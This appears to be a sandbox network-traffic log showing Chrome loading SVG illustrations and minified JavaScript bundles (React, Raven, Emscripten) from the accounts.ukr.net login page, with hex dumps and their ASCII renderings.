2024-10-26 11:49:04 UTC	16384	IN	Data Raw: 72 20 6e 3d 5b 5d 2c 74 3d 7b 7d 3b 74 68 72 6f 77 20 72 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 20 65 28 72 29 7b 74 5b 72 5d 7c 7c 72 65 67 69 73 74 65 72 65 64 54 79 70 65 73 5b 72 5d 7c 7c 28 74 79 70 65 44 65 70 65 6e 64 65 6e 63 69 65 73 5b 72 5d 3f 74 79 70 65 44 65 70 65 6e 64 65 6e 63 69 65 73 5b 72 5d 2e 66 6f 72 45 61 63 68 28 65 29 3a 28 6e 2e 70 75 73 68 28 72 29 2c 74 5b 72 5d 3d 21 30 29 29 7d 29 29 2c 6e 65 77 20 55 6e 62 6f 75 6e 64 54 79 70 65 45 72 72 6f 72 28 65 2b 22 3a 20 22 2b 6e 2e 6d 61 70 28 67 65 74 54 79 70 65 4e 61 6d 65 29 2e 6a 6f 69 6e 28 5b 22 2c 20 22 5d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 5f 65 6d 62 69 6e 64 5f 72 65 67 69 73 74 65 72 5f 66 75 6e 63 74 69 6f 6e 28 65 2c 72 2c 6e 2c 74 2c 69 2c 6f 29 7b Data Ascii: r n=[],t={};throw r.forEach((function e(r){t[r]\|\|registeredTypes[r]\|\|(typeDependencies[r]?typeDependencies[r].forEach(e):(n.push(r),t[r]=!0))})),new UnboundTypeError(e+": "+n.map(getTypeName).join([", "]))}function __embind_register_function(e,r,n,t,i,o){
2024-10-26 11:49:04 UTC	4720	IN	Data Raw: 69 61 6c 69 7a 65 72 52 65 71 75 65 73 74 2e 72 65 73 70 6f 6e 73 65 2c 72 65 6d 6f 76 65 52 75 6e 44 65 70 65 6e 64 65 6e 63 79 28 22 6d 65 6d 6f 72 79 20 69 6e 69 74 69 61 6c 69 7a 65 72 22 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 64 6f 42 72 6f 77 73 65 72 4c 6f 61 64 28 29 7b 4d 6f 64 75 6c 65 2e 72 65 61 64 41 73 79 6e 63 28 6d 65 6d 6f 72 79 49 6e 69 74 69 61 6c 69 7a 65 72 2c 61 70 70 6c 79 4d 65 6d 6f 72 79 49 6e 69 74 69 61 6c 69 7a 65 72 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 22 63 6f 75 6c 64 20 6e 6f 74 20 6c 6f 61 64 20 6d 65 6d 6f 72 79 20 69 6e 69 74 69 61 6c 69 7a 65 72 20 22 2b 6d 65 6d 6f 72 79 49 6e 69 74 69 61 6c 69 7a 65 72 7d 29 29 7d 69 66 28 4d 6f 64 75 6c 65 2e 6d 65 6d 6f 72 79 49 6e 69 74 69 61 6c 69 7a 65 72 52 65 71 Data Ascii: ializerRequest.response,removeRunDependency("memory initializer")};function doBrowserLoad(){Module.readAsync(memoryInitializer,applyMemoryInitializer,(function(){throw"could not load memory initializer "+memoryInitializer}))}if(Module.memoryInitializerReq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49742	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:04 UTC	658	OUT	GET /login/assets/illustration-speedy-5282c395.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:04 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:04 GMT Content-Type: image/svg+xml Content-Length: 18445 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-480d" Expires: Sat, 09 Nov 2024 11:49:04 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4110.10.20.49:5080
2024-10-26 11:49:04 UTC	16047	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 67 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 35 20 31 33 39 29 22 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 33 33 36 22 20 68 65 69 67 68 74 3d 22 32 32 31 22 20 66 69 6c 6c 3d 22 23 64 66 65 31 65 39 22 20 72 78 3d 22 31 34 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 33 66 34 66 36 22 20 64 3d 22 4d 31 35 2e 34 38 31 20 32 31 2e 31 39 34 63 33 2e 30 34 33 20 30 20 35 2e 35 31 2d 32 2e 35 30 36 20 35 2e 35 31 2d 35 2e 35 39 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g transform="translate(15 139)"><rect width="336" height="221" fill="#dfe1e9" rx="14"/><path fill="#f3f4f6" d="M15.481 21.194c3.043 0 5.51-2.506 5.51-5.59
2024-10-26 11:49:04 UTC	2398	IN	Data Raw: 36 2e 32 39 37 20 30 20 30 20 30 2d 35 2e 37 38 36 2d 34 2e 31 37 34 63 2d 32 2e 38 36 36 2d 31 2e 37 34 2d 35 2e 36 34 35 2d 32 2e 39 35 32 2d 38 2e 32 30 34 2d 33 2e 34 34 39 6c 2d 2e 30 33 2d 2e 30 30 35 2e 30 33 35 2e 31 2e 30 39 35 2e 32 37 38 2e 31 2e 32 39 34 63 2e 33 38 37 20 31 2e 31 34 38 2e 37 39 20 32 2e 33 39 32 20 31 2e 31 38 36 20 33 2e 36 38 38 61 31 30 37 20 31 30 37 20 30 20 30 20 31 20 31 2e 34 31 38 20 35 2e 30 33 63 31 2e 36 37 33 20 36 2e 36 30 34 20 31 2e 39 31 39 20 31 30 2e 36 2d 2e 31 36 20 31 31 2e 31 39 39 2d 31 2e 32 37 32 2e 33 36 37 2d 32 2e 32 37 31 2d 2e 39 31 2d 33 2e 31 39 35 2d 33 2e 34 32 33 2d 2e 37 31 36 2d 31 2e 39 34 37 2d 31 2e 33 38 35 2d 34 2e 36 36 34 2d 32 2e 30 30 38 2d 37 2e 39 36 35 2d 2e 35 36 2d 32 2e 39 Data Ascii: 6.297 0 0 0-5.786-4.174c-2.866-1.74-5.645-2.952-8.204-3.449l-.03-.005.035.1.095.278.1.294c.387 1.148.79 2.392 1.186 3.688a107 107 0 0 1 1.418 5.03c1.673 6.604 1.919 10.6-.16 11.199-1.272.367-2.271-.91-3.195-3.423-.716-1.947-1.385-4.664-2.008-7.965-.56-2.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49740	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:04 UTC	659	OUT	GET /login/assets/illustration-markers-828d12d7.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:04 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:04 GMT Content-Type: image/svg+xml Content-Length: 10806 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-2a36" Expires: Sat, 09 Nov 2024 11:49:04 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.49:5080
2024-10-26 11:49:04 UTC	10806	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 67 20 73 74 72 6f 6b 65 3d 22 23 39 62 61 31 61 39 22 3e 3c 70 61 74 68 20 64 3d 22 6d 31 36 39 2e 37 37 32 20 32 35 38 2e 39 38 36 2d 36 30 2e 31 30 35 20 31 36 2e 39 36 35 63 2d 35 2e 35 36 20 31 2e 35 39 35 2d 31 31 2e 33 35 39 2d 31 2e 36 32 2d 31 32 2e 39 35 33 2d 37 2e 31 38 6c 2d 31 33 2e 30 33 33 2d 34 35 2e 34 35 63 2d 31 2e 35 39 34 2d 35 2e 35 36 20 31 2e 36 32 2d 31 31 2e 33 35 39 20 37 2e 31 38 2d 31 32 2e 39 35 33 6c 37 31 2e 31 31 37 2d 32 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="594" height="456"><g fill="none" fill-rule="evenodd"><g stroke="#9ba1a9"><path d="m169.772 258.986-60.105 16.965c-5.56 1.595-11.359-1.62-12.953-7.18l-13.033-45.45c-1.594-5.56 1.62-11.359 7.18-12.953l71.117-20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49744	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:04 UTC	367	OUT	GET /login/js/bundle.js?949e9a20 HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:04 UTC	348	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:04 GMT Content-Type: application/javascript Content-Length: 490758 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-77d06" Expires: Sat, 09 Nov 2024 11:49:04 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.49:5080
2024-10-26 11:49:04 UTC	16036	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 62 75 6e 64 6c 65 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 76 61 72 20 65 3d 7b 31 36 33 33 3a 28 65 2c 74 29 3d 3e 7b 76 61 72 20 6e 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 74 3d 30 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 6e 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 69 66 28 6e 29 7b 76 61 72 20 61 3d 74 79 70 65 6f 66 20 6e 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 3d 61 7c Data Ascii: /! For license information please see bundle.js.LICENSE.txt /(()=>{var e={1633:(e,t)=>{var n;!function(){"use strict";var r={}.hasOwnProperty;function i(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var a=typeof n;if("string"===a\|
2024-10-26 11:49:04 UTC	16384	IN	Data Raw: 3b 74 68 69 73 2e 5f 69 67 6e 6f 72 65 4f 6e 45 72 72 6f 72 2b 3d 31 2c 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 5f 69 67 6e 6f 72 65 4f 6e 45 72 72 6f 72 2d 3d 31 7d 29 29 7d 2c 5f 74 72 69 67 67 65 72 45 76 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3b 69 66 28 74 68 69 73 2e 5f 68 61 73 44 6f 63 75 6d 65 6e 74 29 7b 66 6f 72 28 72 20 69 6e 20 74 3d 74 7c 7c 7b 7d 2c 65 3d 22 72 61 76 65 6e 22 2b 65 2e 73 75 62 73 74 72 28 30 2c 31 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 65 2e 73 75 62 73 74 72 28 31 29 2c 42 2e 63 72 65 61 74 65 45 76 65 6e 74 3f 28 6e 3d 42 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 48 54 4d 4c 45 76 65 6e 74 73 22 29 29 2e 69 6e 69 74 45 76 65 6e 74 28 65 2c 21 Data Ascii: ;this._ignoreOnError+=1,setTimeout((function(){e._ignoreOnError-=1}))},_triggerEvent:function(e,t){var n,r;if(this._hasDocument){for(r in t=t\|\|{},e="raven"+e.substr(0,1).toUpperCase()+e.substr(1),B.createEvent?(n=B.createEvent("HTMLEvents")).initEvent(e,!
2024-10-26 11:49:04 UTC	16384	IN	Data Raw: 22 2b 72 2b 27 3d 22 27 2b 69 2b 27 22 5d 27 29 3b 72 65 74 75 72 6e 20 6f 2e 6a 6f 69 6e 28 22 22 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 72 65 74 75 72 6e 21 21 28 21 21 65 5e 21 21 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 69 66 28 76 28 65 2c 74 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6e 2c 72 2c 69 3d 65 2e 66 72 61 6d 65 73 2c 61 3d 74 2e 66 72 61 6d 65 73 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 69 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 29 72 65 74 75 72 6e 21 31 3b 69 66 28 69 2e 6c 65 6e 67 74 68 21 3d 3d 61 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 69 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 69 66 28 6e 3d 69 5b 6f 5d 2c 72 3d 61 5b 6f 5d 2c 6e 2e 66 69 6c 65 6e 61 6d 65 Data Ascii: "+r+'="'+i+'"]');return o.join("")}function v(e,t){return!!(!!e^!!t)}function m(e,t){if(v(e,t))return!1;var n,r,i=e.frames,a=t.frames;if(void 0===i\|\|void 0===a)return!1;if(i.length!==a.length)return!1;for(var o=0;o<i.length;o++)if(n=i[o],r=a[o],n.filename
2024-10-26 11:49:04 UTC	16384	IN	Data Raw: 66 28 6e 75 6c 6c 3d 3d 74 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 6e 75 6c 6c 21 3d 3d 6e 26 26 30 3d 3d 3d 6e 2e 74 79 70 65 29 72 65 74 75 72 6e 21 31 3b 73 77 69 74 63 68 28 74 79 70 65 6f 66 20 74 29 7b 63 61 73 65 22 66 75 6e 63 74 69 6f 6e 22 3a 63 61 73 65 22 73 79 6d 62 6f 6c 22 3a 72 65 74 75 72 6e 21 30 3b 63 61 73 65 22 62 6f 6f 6c 65 61 6e 22 3a 72 65 74 75 72 6e 21 72 26 26 28 6e 75 6c 6c 21 3d 3d 6e 3f 21 6e 2e 61 63 63 65 70 74 73 42 6f 6f 6c 65 61 6e 73 3a 22 64 61 74 61 2d 22 21 3d 3d 28 65 3d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 73 6c 69 63 65 28 30 2c 35 29 29 26 26 22 61 72 69 61 2d 22 21 3d 3d 65 29 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 21 31 7d 7d 28 65 2c 74 2c 6e 2c 72 29 29 72 65 74 Data Ascii: f(null==t\|\|function(e,t,n,r){if(null!==n&&0===n.type)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return!r&&(null!==n?!n.acceptsBooleans:"data-"!==(e=e.toLowerCase().slice(0,5))&&"aria-"!==e);default:return!1}}(e,t,n,r))ret
2024-10-26 11:49:04 UTC	16384	IN	Data Raw: 65 6e 74 4e 61 6d 65 2c 65 2e 65 76 65 6e 74 53 79 73 74 65 6d 46 6c 61 67 73 2c 74 5b 30 5d 2c 65 2e 6e 61 74 69 76 65 45 76 65 6e 74 29 3b 69 66 28 6e 75 6c 6c 21 3d 3d 6e 29 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 28 74 3d 6e 69 28 6e 29 29 26 26 74 74 28 74 29 2c 65 2e 62 6c 6f 63 6b 65 64 4f 6e 3d 6e 2c 21 31 3b 74 2e 73 68 69 66 74 28 29 7d 72 65 74 75 72 6e 21 30 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 2c 74 2c 6e 29 7b 79 74 28 65 29 26 26 6e 2e 64 65 6c 65 74 65 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 62 74 28 29 7b 66 6f 72 28 69 74 3d 21 31 3b 30 3c 61 74 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 65 3d 61 74 5b 30 5d 3b 69 66 28 6e 75 6c 6c 21 3d 3d 65 2e 62 6c 6f 63 6b 65 64 4f 6e 29 7b 6e 75 6c 6c 21 3d 3d 28 65 3d 6e 69 28 65 2e 62 6c 6f Data Ascii: entName,e.eventSystemFlags,t[0],e.nativeEvent);if(null!==n)return null!==(t=ni(n))&&tt(t),e.blockedOn=n,!1;t.shift()}return!0}function gt(e,t,n){yt(e)&&n.delete(t)}function bt(){for(it=!1;0<at.length;){var e=at[0];if(null!==e.blockedOn){null!==(e=ni(e.blo
2024-10-26 11:49:05 UTC	16384	IN	Data Raw: 6f 2e 61 64 64 28 73 29 29 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 2c 6e 2c 72 29 7b 76 61 72 20 69 3d 6a 74 2e 67 65 74 28 74 29 3b 73 77 69 74 63 68 28 76 6f 69 64 20 30 3d 3d 3d 69 3f 32 3a 69 29 7b 63 61 73 65 20 30 3a 69 3d 4a 74 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 69 3d 51 74 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 69 3d 47 74 7d 6e 3d 69 2e 62 69 6e 64 28 6e 75 6c 6c 2c 74 2c 6e 2c 65 29 2c 69 3d 76 6f 69 64 20 30 2c 21 55 65 7c 7c 22 74 6f 75 63 68 73 74 61 72 74 22 21 3d 3d 74 26 26 22 74 6f 75 63 68 6d 6f 76 65 22 21 3d 3d 74 26 26 22 77 68 65 65 6c 22 21 3d 3d 74 7c 7c 28 69 3d 21 30 29 2c 72 3f 76 6f 69 64 20 30 21 3d 3d 69 3f 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6e 2c 7b 63 61 70 74 75 72 65 3a 21 Data Ascii: o.add(s))}function Ir(e,t,n,r){var i=jt.get(t);switch(void 0===i?2:i){case 0:i=Jt;break;case 1:i=Qt;break;default:i=Gt}n=i.bind(null,t,n,e),i=void 0,!Ue\|\|"touchstart"!==t&&"touchmove"!==t&&"wheel"!==t\|\|(i=!0),r?void 0!==i?e.addEventListener(t,n,{capture:!
2024-10-26 11:49:05 UTC	16384	IN	Data Raw: 6e 29 3a 72 3a 28 74 2e 66 6c 61 67 73 3d 32 2c 6e 29 3a 6e 7d 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 7b 72 65 74 75 72 6e 20 65 26 26 6e 75 6c 6c 3d 3d 3d 74 2e 61 6c 74 65 72 6e 61 74 65 26 26 28 74 2e 66 6c 61 67 73 3d 32 29 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 74 7c 7c 36 21 3d 3d 74 2e 74 61 67 3f 28 28 74 3d 51 75 28 6e 2c 65 2e 6d 6f 64 65 2c 72 29 29 2e 72 65 74 75 72 6e 3d 65 2c 74 29 3a 28 28 74 3d 69 28 74 2c 6e 29 29 2e 72 65 74 75 72 6e 3d 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 2c 6e 2c 72 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 74 26 26 74 2e 65 6c 65 6d 65 6e 74 54 79 70 65 3d 3d 3d 6e 2e 74 79 70 65 3f 28 28 72 3d 69 28 74 2c 6e 2e 70 72 6f Data Ascii: n):r:(t.flags=2,n):n}function s(t){return e&&null===t.alternate&&(t.flags=2),t}function u(e,t,n,r){return null===t\|\|6!==t.tag?((t=Qu(n,e.mode,r)).return=e,t):((t=i(t,n)).return=e,t)}function c(e,t,n,r){return null!==t&&t.elementType===n.type?((r=i(t,n.pro
2024-10-26 11:49:05 UTC	16384	IN	Data Raw: 6b 75 28 74 2c 6e 29 3b 65 6c 73 65 20 6e 75 6c 6c 21 3d 3d 61 3f 28 72 3d 61 2e 62 61 73 65 4c 61 6e 65 73 7c 6e 2c 74 2e 6d 65 6d 6f 69 7a 65 64 53 74 61 74 65 3d 6e 75 6c 6c 29 3a 72 3d 6e 2c 6b 75 28 74 2c 72 29 3b 72 65 74 75 72 6e 20 44 6f 28 65 2c 74 2c 69 2c 6e 29 2c 74 2e 63 68 69 6c 64 7d 66 75 6e 63 74 69 6f 6e 20 42 6f 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 2e 72 65 66 3b 28 6e 75 6c 6c 3d 3d 3d 65 26 26 6e 75 6c 6c 21 3d 3d 6e 7c 7c 6e 75 6c 6c 21 3d 3d 65 26 26 65 2e 72 65 66 21 3d 3d 6e 29 26 26 28 74 2e 66 6c 61 67 73 7c 3d 31 32 38 29 7d 66 75 6e 63 74 69 6f 6e 20 56 6f 28 65 2c 74 2c 6e 2c 72 2c 69 29 7b 76 61 72 20 61 3d 6d 69 28 6e 29 3f 68 69 3a 64 69 2e 63 75 72 72 65 6e 74 3b 72 65 74 75 72 6e 20 61 3d 76 69 28 74 2c 61 29 2c 69 61 Data Ascii: ku(t,n);else null!==a?(r=a.baseLanes\|n,t.memoizedState=null):r=n,ku(t,r);return Do(e,t,i,n),t.child}function Bo(e,t){var n=t.ref;(null===e&&null!==n\|\|null!==e&&e.ref!==n)&&(t.flags\|=128)}function Vo(e,t,n,r,i){var a=mi(n)?hi:di.current;return a=vi(t,a),ia
2024-10-26 11:49:05 UTC	16384	IN	Data Raw: 6c 73 28 30 2c 74 29 29 3b 76 61 72 20 65 3d 74 2e 73 74 61 63 6b 3b 74 68 69 73 2e 63 6f 6d 70 6f 6e 65 6e 74 44 69 64 43 61 74 63 68 28 74 2e 76 61 6c 75 65 2c 7b 63 6f 6d 70 6f 6e 65 6e 74 53 74 61 63 6b 3a 6e 75 6c 6c 21 3d 3d 65 3f 65 3a 22 22 7d 29 7d 29 2c 6e 7d 76 61 72 20 68 73 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 57 65 61 6b 53 65 74 3f 57 65 61 6b 53 65 74 3a 53 65 74 3b 66 75 6e 63 74 69 6f 6e 20 76 73 28 65 29 7b 76 61 72 20 74 3d 65 2e 72 65 66 3b 69 66 28 6e 75 6c 6c 21 3d 3d 74 29 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 29 74 72 79 7b 74 28 6e 75 6c 6c 29 7d 63 61 74 63 68 28 6e 29 7b 55 75 28 65 2c 6e 29 7d 65 6c 73 65 20 74 2e 63 75 72 72 65 6e 74 3d 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f Data Ascii: ls(0,t));var e=t.stack;this.componentDidCatch(t.value,{componentStack:null!==e?e:""})}),n}var hs="function"==typeof WeakSet?WeakSet:Set;function vs(e){var t=e.ref;if(null!==t)if("function"==typeof t)try{t(null)}catch(n){Uu(e,n)}else t.current=null}functio
2024-10-26 11:49:05 UTC	16384	IN	Data Raw: 6c 74 65 72 6e 61 74 65 2c 4a 73 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 30 32 34 3a 4a 73 2e 66 6c 61 67 73 26 3d 2d 31 30 32 35 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 30 32 38 3a 4a 73 2e 66 6c 61 67 73 26 3d 2d 31 30 32 35 2c 43 73 28 4a 73 2e 61 6c 74 65 72 6e 61 74 65 2c 4a 73 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 43 73 28 4a 73 2e 61 6c 74 65 72 6e 61 74 65 2c 4a 73 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 38 3a 45 73 28 73 2c 75 3d 4a 73 29 3b 76 61 72 20 6b 3d 75 2e 61 6c 74 65 72 6e 61 74 65 3b 77 73 28 75 29 2c 6e 75 6c 6c 21 3d 3d 6b 26 26 77 73 28 6b 29 7d 4a 73 3d 4a 73 2e 6e 65 78 74 45 66 66 65 63 74 7d 7d 63 61 74 63 68 28 43 29 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 4a 73 29 74 68 72 6f 77 20 45 72 72 6f 72 28 6f 28 33 33 30 29 29 3b 55 Data Ascii: lternate,Js);break;case 1024:Js.flags&=-1025;break;case 1028:Js.flags&=-1025,Cs(Js.alternate,Js);break;case 4:Cs(Js.alternate,Js);break;case 8:Es(s,u=Js);var k=u.alternate;ws(u),null!==k&&ws(k)}Js=Js.nextEffect}}catch(C){if(null===Js)throw Error(o(330));U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49745	212.42.75.253	443	5824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:04 UTC	655	OUT	GET /login/assets/illustration-2fa-02329941.svg HTTP/1.1 Host: accounts.ukr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-26 11:49:04 UTC	337	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 26 Oct 2024 11:49:04 GMT Content-Type: image/svg+xml Content-Length: 10286 Connection: close Last-Modified: Mon, 14 Oct 2024 12:20:51 GMT ETag: "670d0ca3-282e" Expires: Sat, 09 Nov 2024 11:49:04 GMT Cache-Control: max-age=1209600 Accept-Ranges: bytes X-Upstream: 4210.10.20.49:5080
2024-10-26 11:49:04 UTC	10286	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 35 39 34 22 20 68 65 69 67 68 74 3d 22 34 35 36 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 64 30 64 33 64 37 22 20 64 3d 22 4d 32 35 35 2e 37 33 35 20 31 38 31 68 39 34 2e 36 37 33 61 33 20 33 20 30 20 30 20 31 20 32 2e 39 35 32 20 33 2e 35 33 35 4c 33 33 38 2e 36 30 35 20 32 36 36 48 32 33 37 6c 31 34 2e 38 2d 38 31 2e 37 31 33 61 34 20 34 20 30 20 30 20 31 20 33 2e 39 33 35 2d 33 2e 32 38 37 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 20 64 3d 22 4d 32 35 39 2e 39 31 33 20 31 38 37 68 38 32 2e Data Ascii: <svg 